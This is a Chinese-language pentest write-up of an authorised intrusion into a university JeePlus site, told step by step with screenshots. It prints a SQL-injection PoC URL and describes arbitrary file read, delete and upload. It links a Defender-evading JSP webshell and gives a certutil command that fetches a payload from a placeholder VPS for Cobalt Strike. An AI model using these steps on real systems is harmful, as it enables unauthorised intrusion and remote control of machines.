记一次曲折的获取权限

碰到了一个对外宣传是否安全的站点,但实际测试下来并不安全。不过在这次获取权限的过程中还是有点曲折,记录下来并分享给大家。

0x01 前言

碰到了一个对外宣传是否安全的站点,但实际测试下来并不安全。不过在这次获取权限的过程中还是有点曲折,记录下来并分享给大家。
整个测试过程均在授权的情况下完成,漏洞详细已经提交并通告相关知情。

0x02 过程

1. 进入

https://xxx.edu.cn/a/login
使用弱口令进行登陆

2. 寻找上传点

进来后找到一处文件上传的地方进行测试

image.png

前端对上传的文件类型做了初步校验,这里我们上传一个空文本后抓包

image-20220413194850530.png

发现路径可以被操控,而且返回了绝对路径。

image.png

尝试访问后发现不能被解析只能下载。

image.png

再次寻找上传点,发现有头像上传的地方。这种上传点一般都能被解析。

image-20220413195538939.png

上传正常图片

image.png

返回了上传成功的提示,但没发现返回的地址。

image.png

而后在个人资料出发现了图片地址

image.png

我们再次尝试构造请求报文重发,这里直接将后缀改成 jsp 上传成功

image.png

刷新个人信息,找到访问链接。发现仍然是只能下载。

image.png

3.突破口

image-20220413200236737.png

我在 Cookie 中发现 jeeplus 的字眼,尝试搜索 getshell 方法

image-20220413200321834.png

发现早已有前辈做过代码审计。

1)SQL注入

/a/sys/register/registerUser?roleName=wangba&mobile=13300990099\*&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on

更具已有的 poc 进行尝试 sqlmap 跑起来,*号的地方是注入点。

image.png

通过 sqlmap 跑出来是 oracle 数据库。尝试一些查询和提权无果放弃。注意,oracle 注入的 sql shell 只能做查询语句。

image-20220413202358543.png

2)文件管理

直接访问 https://xxx.edu.cn/a/sys/file 就能越权进入到文件管理页面

image.png

这个目录下面的文件都只能下载,我们对这里的文件上传、删除、下载都做了测试。

a. 任意文件读取

下载接口可以返回文件内容,存在任意文件读取。

image-20220413202831585.png

image.png

b.任意文件删除

这里甚至可以直接删除文件夹

image-20220413203037016.png

image.png

c. 任意文件上传

image-20220413203146352.png

image.png
这里可以自定义上传路径,如果路径不存在则创建目录并上传。

3)尝试上传文件到可解析目录

我第一时间想到上传到 static 目录,因为这个目录是可以被直接访问的。

image.png

然后尝试访问仍然是 404。

image.png

这里就是我没有找到真确的路径。想去官网直接下载源码,点击下载后回要求注册,注册之后也没有发现哪里有下载源码的地方。

image-20220414092738726.png

没办法就去凌风云网盘搜了一下,发现存在历史的版本,我感觉差异应该不会那么大。

image-20220414092826967.png

挑了一个比较大文件的下载,解压后可以查看目录结构。

image-20220414093004440.png

看到有存放配置文件的地方,我想看看能不能通过读取配置来找到绝对路径。

image.png

结果还是路径不对。一番尝试后无果,突然想起来站点的目录还没扫过,直接 dirsearch 来一波。

image.png

当我看到扫出来 web.xml 这些配置文件我就知道有戏了。

image.png

在 web.xml 中没有发现东西,但是在 conf/server.xml 发现了站点的另一个路径,我觉得这就是前端访问的路径。

image.png

通过任意文件接口尝试构造路径 C:\tomcat\webapps\xxxx\WEB-INF\web.xml 发现有内容返回说明我找对了路径,然后发现了 404.jsp 存放的路径,对比我们之前拿到的源码发现我们成功找对了路径——上传文件到 webpage 这个目录绝对能解析

image-20220414094047472.png

尝试直接上传 webshell。

image.png

发现文件真实存在,但是没有返回东西,我用任意文件读取查看。

image.png

4)免杀绕过WD检测

发现可能存在waf,但我后面对waf做了识别发现是 apache generic,这个不至于拦截我传的。再用 nmap 对机器做识别发现是 window10,让我想起了被 windows Defender支配的恐惧,不过这里我们找个命令免杀马子上传即可,找了一番之后用了以前 hw 碰到的一个马子。

https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/Runtime-reflect-cmd.jsp

image-20220414095017232.png

5)上线 CS

成功上传并执行命令,原本想通过 powershell 上线,但是尝试过不同的命令包括免杀命令都不行。

然后我通过远程下载我的面杀马子上线 CS certutil -urlcache -split -f http://VPS/免杀马子.exe

image-20220414095202570.png
成功上线。

image.png

代理出来之后进入桌面,发现果然开启了 WD

image-20220414135106369.png

~上机之后才知道,原来管理员把上传文件夹路径放到F盘,主体是C盘,估计就是怕内存不够吧。~

0x03 总结

碰到没有思路的站点就做好信息收集扩大攻击面。指纹识别、端口扫描、路径扫描都是老生常谈的了,这次还结合了公网网盘信息泄露的点,不然我还得继续猜路径。还有一点需要注意的是,测试的前提是取得相关授权

  • 发表于 2022-04-25 09:44:46
  • 阅读 ( 8922 )
  • 分类:WEB安全

3 条评论

星冥安全
师傅 可以转载一下吗
请先 登录 后评论
jdr
第一个上传,上传后文件名没有发生改变,其实就已经可以尝试../进行路径穿越,想办法传到tomcat的目录下。
请先 登录 后评论
星冥安全
楼主 可以转载一下吗 表明出处
请先 登录 后评论
请先 登录 后评论
en0th
en0th

数码爱好者

9 篇文章

站长统计